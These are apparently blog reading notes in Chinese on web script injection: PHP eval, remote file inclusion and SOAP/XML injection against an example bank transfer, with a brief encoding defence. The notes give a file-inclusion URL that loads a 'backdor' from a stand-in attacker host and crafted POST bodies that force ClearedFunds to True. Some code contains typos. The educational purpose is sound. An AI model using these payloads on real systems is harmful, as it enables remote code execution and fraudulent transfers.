Web安全读书笔记5-注入Web脚本语言

动态执行漏洞
PHP的eval
ASP的execute Wscript.Shell

文件包含漏洞
PHP有远程文件包含的漏洞
http://wahh-app.com/main.php?Country=US
应用程序将如下处理
$Counrty=$_GET[‘Country’];
include($country,’php’)
执行环境会加载位于web服务器文件系统的US.php文件,然后这个文件复制到main.php执行,如果攻击者使用一个外部url作为包含文件的位置,可以进行攻击
http://wahh-app.com/main.php?Country=http://wahh-attacker.com/backdor

注入soap
一个银行程序
POST /transfer.asp HTTP/1.0
Host: wahh-bank.com
Content-Length: 65

FromAccount=18281008&Amount=1430&ToAccount=0844766&Submit=Submit
在处理这个请求的过程中,应用程序在后端组件传送下面soap消息
<soap:Envelope xmlns=http://www.w3.org/2001/12/soap-envelope>
<soap:Body>
<Account>
<FromAccount>18281008</FromAccount>
<Amount>1430</Amount>
<ClearedFunds>False</ClearFunds>
<ToAccount>0844766</ ToAccount>
</Account>
</soap:Body>
</soap:Envelope>
应用程序逻辑确定没有足够资金转账时,将元素ClearedFunds设置为false,因此受到soap消息的组件将拒绝转账

如果应用程序处理它遇到的第一个CleraFunds元素,那么即使账户没有足够资金,也可以成功转账
POST /transfer.asp HTTP/1.0
Host: wahh-bank.com
Content-Length: 65

FromAccount=18281008&Amount=1430</Amount><ClearedFunds>True</ClearedFunds ><Amount>1430&ToAccount=0844766&Submit=Submit
另一方面,如果应用程序处理最后一个CleraFunds元素,那么可以在ToAccount元素中注入类似攻击

另一种攻击使用XML注释完全删除soap消息的一个元素
POST /transfer.asp HTTP/1.0
Host: wahh-bank.com
Content-Length: 65

FromAccount=18281008&Amount=1430</Amount><ClearedFunds>True</ClearedFunds ><ToAccount><!--&ToAccount=-->0844766&Submit=Submit
这时soap变为
<Account>
<FromAccount>18281008</FromAccount>
<Amount>1430</Amount>
<ClearedFunds>True</ClearFunds><ToAccount><!—
<ClearedFunds>False</ClearFunds>
<ToAccount>-->0844766</ ToAccount>
</Account>

防止soap注入的方法
需要对XML元字符进行HTML编码
如< &lt >&gt

注入XPATH
XPath 使用路径表达式来选取 XML 文档中的节点或者节点集。这些路径表达式和我们在常规的电脑文件系统中看到的表达式非常相似。

注入SMTP

注入LDAP
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值